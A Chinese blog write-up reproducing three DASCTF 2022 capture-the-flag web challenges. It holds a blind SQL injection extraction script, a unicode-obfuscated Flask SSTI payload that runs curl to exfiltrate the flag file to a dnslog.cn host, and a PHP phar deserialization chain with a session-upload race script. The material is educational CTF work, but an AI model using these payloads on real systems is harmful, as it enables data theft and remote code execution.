文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

DASCTF2022.07赋能赛 WEB题目复现

2023-09-05 21:53

关注

前言

其实7月时就想复现了,感觉题目质量挺高的,但奈何自己太菜看不懂就先搁置了。现在有能力回来填坑啦,但最后一题目前对自己理解起来还是有点难度,之后再研究研究。

复现

DASCTF|2022DASCTF7月赋能赛官方Write Up

绝对防御

知识点

sql注入-布尔盲注

js路径查找

复现过程

进入题目查看源码,发现首页是一个静态图片,引用了许多js

我们通过JSfinder这个工具去查找相关的接口

找到一个php接口SUPERAPI.php,访问查看一下

查看源码可以看到前端对get传入的'id'参数进行了严格过滤

 输入1或者2试了一下,会返回admin和flag

 f344ac170684aabd6b65da4faf548b67.png

猜测这里是一个sql注入点,前端进行了过滤其实可以忽略,主要是后端的过滤

我们通过这样的payload进行fuzz测试,无过滤时返回admin,过滤时为空

?id=1 and 'if'='if'--+

 fuzz脚本

f = open("sqlFuzz字典.txt", 'r')strs = f.readlines()print("---------  过滤字符")for i in strs:    if "'" in i:        payload = f'1 and "{i}"="{i}"--+'    else:        payload = f"1 and '{i}'='{i}'--+"    time.sleep(0.1)    r = requests.get(url=url+payload).text    if 'admin' not in r:        print("---------  "+i)

大致过滤了以下字符

union, if, insert, update, sleep, benchmark, #, &

 sleep,union过滤了,所以我们使用布尔盲注

盲注脚本

import requestsimport timeurl = 'http://0dc42f8d-33c6-4e7e-97e5-3da1cfb6ef80.node4.buuoj.cn:81/SUPPERAPI.php?id='str = ''for i in range(60):    min,max = 32, 128    while True:        j = min + (max-min)//2        if(min == j):            str += chr(j)            print(str)            break        # 爆表名        # payload = f"1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{j} --+"        # 爆列        # payload = f"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))<{j} --+"        # # 爆值        payload = f"1 and ascii(substr((select group_concat(password) from users),{i},1))<{j} --+"        r = requests.get(url=url+payload).text        time.sleep(0.1)        if(r'admin' in r):            max = j        else:            min = j

获取flag 

HardFlask

知识点

SSTI注入

复现过程

看到有输入框,并且具有一定功能,可以试着猜测为SSTI注入

尝试{{2*2}},发现被过滤

使用脚本fuzz一下

import requestsimport timeurl = 'http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/'f = open("fuzz_dict.txt", 'r')strs = f.readlines()print("---------  过滤字符")for i in strs:    if "'" in i:        data = {'nickname':f"{i}"}    else:        data = {'nickname':f'{i}'}    time.sleep(0.1)    r = requests.post(url=url, data=data).text    # print(r)    if 'Hacker! restricted characters!' in r:        print("---------  "+i)

大致过滤了一下字符

', }}, {{, ], [, ], \,  , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

双引号还能用,所以下划线可以用attr加上unicode编码来绕过

{{用{%来替代

之前尝试了lipsum链或者未定义类似乎打不通

{{lipsum.__globals__['os'].popen('ls').read()}}

 所以还是使用最常规的思路

{{"".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__.popen('whoami')}}

通过脚本寻找含有popen方法的子类,输出为132,所以 i 就等于132了(官方WP是输出的133,不知道是环境问题还是什么)

import requestsheaders = {    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'   # __class__ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'   # __bases__gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'    # __subclasses__ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__for i in range(500):    url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"    payload = {            "nickname": '{%if(""|' +                    f'attr("{cl}")' +                    f'|attr("{ba}")' +                    f'|attr("{gi}")(0)' +                    f'|attr("{su}")()' +                    f'|attr("{gi}")(' +                    str(i) +                    f')|attr("{ii}")' +                    f'|attr("{go}")' +                    f'|attr("{gi}")' +                    f'("{po}"))' +                    '%}success' +                    '{%endif%}'            }    res = requests.post(url=url, headers=headers, data=payload)    if 'success' in res.text:        print(i)

应该print没有了,所以我们尝试外带,外带这里坑了我好久,试了bp的collaborator还有vps似乎都行不通,最后用dnslog外带可以成功

import requestsheaders = {    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'   # __class__ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'   # __bases__gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'    # __subclasses__ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060\\u002e\\u0030\\u0072\\u0070\\u0066\\u006f\\u0037\\u002e\\u0064\\u006e\\u0073\\u006c\\u006f\\u0067\\u002e\\u0063\\u006e'# curl `cat f*`..0rpfo7.dnslog.cni =132url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"payload = {        "nickname": '{%if(""|' +                f'attr("{cl}")' +                f'|attr("{ba}")' +                f'|attr("{gi}")(0)' +                f'|attr("{su}")()' +                f'|attr("{gi}")(' +                str(i) +                f')|attr("{ii}")' +                f'|attr("{go}")' +                f'|attr("{gi}")' +                f'("{po}"))' +                f'("{cmd}")' +                '%}success' +                '{%endif%}'        }res = requests.post(url=url, headers=headers, data=payload)print(res.text)

获得flag

 453dbf1a12ab6a991b0bb5321dec9238.png

Ez to getflag

知识点

phar反序列化

session文件竞争

任意文件读取

文件包含

复现过程

非预期解

因为图片查看页没有禁掉flag,可以直接通过任意文件读取,获取根目录下的flag

 预期解

通过图片查看进行读取upload.php,class.php,file.php的源码

先看一下class.php中upload类的上传逻辑

使用白名单过滤文件后缀,对文件内容进行了严格的过滤,看上去想上传一个PHP木马有些不太可能

保存文件名是上传的文件的文件名的md5值,所以文件我们是可知且可控的。

function file_check() {   $allowed_types = array("png");  $temp = explode(".",$this->f["file"]["name"]);  $extension = end($temp);   if(empty($extension)) {     echo "what are you uploaded? :0";    return false;  }  else{     if(in_array($extension,$allowed_types)) {      $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';      $f = file_get_contents($this->f["file"]["tmp_name"]);      if(preg_match_all($filter,$f)){        echo 'what are you doing!! :C';        return false;      }      return true;     }     else {       echo 'png onlyyy! XP';       return false;     }   }}function savefile() {    $fname = md5($this->f["file"]["name"]).".png";   if(file_exists('./upload/'.$fname)) {     @unlink('./upload/'.$fname);  }  move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);   echo "upload success! :D"; } 

我们再来看看文件读取这块的逻辑,过滤许多伪协议,但没有过滤phar伪协议

我们可以通过file_get_contents函数搭配phar伪协议来触发反序列化链

public function show(){  if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {    die('illegal fname :P');  } else {    echo file_get_contents($this->source);    $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));    echo "";  }}

接下来就是试着找利用的反序列化链

我们可以通过Test类的__destruct方法作为起点,str可控并且它是打印str,所以可以找含有__toString的类

class Test{  public $str;  public function __construct(){    $this->str="It's works";  }  public function __destruct()  {    echo $this->str;  }}

Upload类中含有__toString方法,并且$cont和$size都可控,因为size相当于属性值,所以我们可以找__get魔术方法

__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。

function __toString(){  $cont = $this->fname;  $size = $this->fsize;  echo $cont->$size;  return 'this_is_upload';}

Show类中含有__get方法,并且他调用了一个未知方法,这时我们可以试着寻找__call魔术方法

function __get($name){  $this->ok($name);}

通过Show类中的__call方法,我们可以调用backdoor方法

我们来看看backdoor方法是什么

public function __call($name, $arguments){  if(end($arguments)=='phpinfo'){    phpinfo();  }else{    $this->backdoor(end($arguments));  }  return $name;}

backdoor方法进行了文件包含,$door我们可控,就是前面$size,可以改为我们想包含的文件名 

public function backdoor($door){  include($door);  echo "hacked!!";}

那这时候我们得想办法,如何向网站上传我们包含的文件,也思考可不可以通过日志包含,但在文件读取页尝试通过默认路径读取日志发现失败,可能路径已经被修改。

这时候开始考虑session文件竞争

构造pop链

str = $upload;    $upload->fname=$show;    $upload->fsize='/tmp/sess_Ki1ro';    // 生成phar文件    @unlink("shell.phar");    $phar = new Phar("shell.phar");    $phar->startBuffering();    $phar->setStub("");    $phar->setMetadata($test);    $phar->addFromString("test.txt", "test");    $phar->stopBuffering();?>

通过gzip文件压缩,绕过内容检测,将后缀改为png,绕过后缀检测

再上传文件

现在开始写读取文件和上传session文件的双线程脚本

import threading, requestsfrom hashlib import md5url = 'http://9e57dedf-4eec-43bb-a01e-a39ed6d52f84.node4.buuoj.cn:81/'check = True# 触发phar文件反序列化去包含session上传进度文件def include(fileurl, s):    global check    while check:        fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'        params = {            'f': 'phar://upload/' + fname        }        res = s.get(url=fileurl, params=params)        if "working" in res.text:            print(res.text)            check = False# 利用session.upload.progress写入临时文件def sess_upload(uploadurl, s):    global check    while check:        data = {            'PHP_SESSION_UPLOAD_PROGRESS': ""        }        cookies = {            'PHPSESSID': 'chaaa'        }        files = {            'file': ('chaaa.png', b'cha' * 300)        }        s.post(url=url, data=data, cookies=cookies, files=files)def exp(url):    fileurl = url + 'file.php'    uploadurl = url + 'upload.php'    num = threading.active_count()    # 上传phar文件    file = {'file': open('./shell.png', 'rb')}    ret = requests.post(url=uploadurl, files=file)    # 文件上传条件竞争getshell    event = threading.Event()    s1 = requests.Session()    s2 = requests.Session()    for i in range(1, 5):        threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()    for i in range(1, 5):        threading.Thread(target=include, args=(fileurl, s2,)).start()    event.set()    while threading.active_count() != num:        passif __name__ == '__main__':    exp(url)    print('success')

获取flag

来源地址:https://blog.csdn.net/m0_62594265/article/details/126262027

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯